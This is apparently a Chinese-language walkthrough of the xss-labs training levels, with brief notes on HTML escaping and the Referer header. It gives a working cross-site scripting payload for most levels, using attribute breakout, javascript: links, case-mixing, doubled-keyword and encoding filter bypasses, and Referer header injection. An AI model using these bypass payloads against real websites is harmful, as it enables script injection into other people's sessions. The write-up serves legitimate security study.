HTML的< >&"©分别是<,>,&,",©;的转义字符
XML只有5个转义符: < >& " '
HTTP请求中,Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
referer
例如,在www.google.com 里有一个www.baidu.com 链接,那么点击这个www.baidu.com ,它的header 信息里就有: Referer=http://www.google.com.
如果服务器要求必须是某个地址或者某几个地址才能访问,而你发送的referer不符合他的要求,就会拦截或者跳转到他要求的地址,然后再通过这个地址进行访问。
第一关
payload:
xss-labs-master/level1.php?name=<script>alert(1)</script>
第二关
先用<script>alert(1)</script>进行尝试查看页面源码:可以看到script标签被包裹在input标签里面。script标签不能被嵌套在标签里面,否则触发不了。
<input name=keyword value="<script>alert</script>">
payload:
xss-labs-master/level2.php?keyword="><script>alert(1)</script>
第三关
用"><script>alert(1)</script>尝试,查看源码:看到script标签直接被转译掉了
页面源码: <input name=keyword value='"><script>alert(1)</script>'>
payload:
<input name=keyword value=''onclick='alert(1)''>
#这里的话onclick后面要用单引号,用双引号的话会被转译掉
第四关
用<script>alert(1)</script>进行尝试,查看页面源码:可以看到script的破折号被删除掉了
<input name=keyword value="scriptalert/script">
payload:
<input name="keyword" value="" onclick="alert(1)">
第五关
用<script>alert(1)</script>进行尝试,查看页面源码:可以看到在script中间加了下横线
<input name=keyword value="<scr_ipt>alert</script>">
用onclick尝试,发现也被过滤掉
<input name=keyword value="" o_nclick="alert(1)"">
构造a标签,跳转超链接进行尝试
payload:
input name=keyword value=""><a href="javascript:alert(1)">点我惊喜</a>">
第六关
用<script>alert(1)</script>进行尝试,查看页面源码:可以看到在script中间加了下横线
<input name=keyword value="<scr_ipt>alert</script>">
用onclick尝试,发现也被过滤掉
<input name=keyword value="" o_nclick="alert(1)"">
用大小写尝试的时候发现没有过滤
payload:
<input name=keyword value=""><SCRIPT>alert(1)</script>">
第七关
用<script>alert(1)</script>进行尝试,查看页面源码:script直接被删除掉了
<input name=keyword value="<>alert</>">
用onclick进行尝试,发现on被过滤掉,双写on进行绕过
payload
" oonnclick="alert(1)"
第八关
用<script>alert(1)</script>进行尝试,查看页面源码:可以看到script标签被转译掉了,还有<>也被过滤掉了
<input name=keyword value="<script>alert</script>">
用onclick进行尝试可以看到onclick也被转译掉了
<input name=keyword value="" οnclick="alert(1)"">
但是此时也可以看到我们的代码时写在超链接里面的
尝试直接在超链接构造js函数,但是可以看到js也直接被过滤掉了
</center><center><BR><a href="javascr_ipt:alert(1)">友情链接</a></center><center><img src=level8.jpg></center>
对javascript:alert(1)进行unicode编码
网址:http://www.jsons.cn/unicode/
payload:
javascript:alert(1)
第九关
用<script>alert(1)</script>进行尝试,查看页面源码:可以看到script标签被转译掉了,还有<>也被过滤掉了,双引号也被过滤掉了,用onclick肯定是不行的
<input name=keyword value="<script>alert</script>">
试了好几种注入姿势,都提示链接不合法,换一个百度合法地址试一试
换成合法链接进行尝试,发现超链接显示正常网址,尝试拼接js代码:javascript:alert(1);http://www.baidu.com
在这里又发现js又被过滤掉,再次编码进行尝试
</center><center><BR><a href="javascr_ipt:alert(1)//http://www.baidu.com">友情链接</a>
payload
javascript:alert(1)//http://www.baidu.com
#加上//注释掉后面的正常网址,不然会报错
第十关
用<script>alert(1)</script>进行尝试:过滤掉<>
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
用οnclick="alert(1)"尝试:过滤掉""。单引号可以用
<h2 align=center>没有找到和οnclick="alert(1)"相关的结果.</h2><center>
查看页面源代码的时候看见还有3个隐藏的标签,尝试将其改成文本框,只有t_sort可以成功
?keyword=&t_sort=" type='text'
payload
?keyword=&t_sort=" type='text' onclick='alert(1)'
第十一关
跟第十关一样的判断,发现过滤掉:<> ""
跟上一关一样有隐藏值,发现就只有t_sort可以更改成功,但是并没有和第十关一样有一个输入框
?keyword=t_link='' type='text'&t_sort='' type='text'&t_histoty='' type='text'&t_ref='' type='text'
我们在判断的时候发现t_ref改变了,判断他是referer
bp抓包增加一行referer
payload
referer:" type='text' onclick='javascript:alert(1)'
第12关
查看源码:和上一关一样,这次的以看就是ua
第13关
推测是cookie,带入之前的payload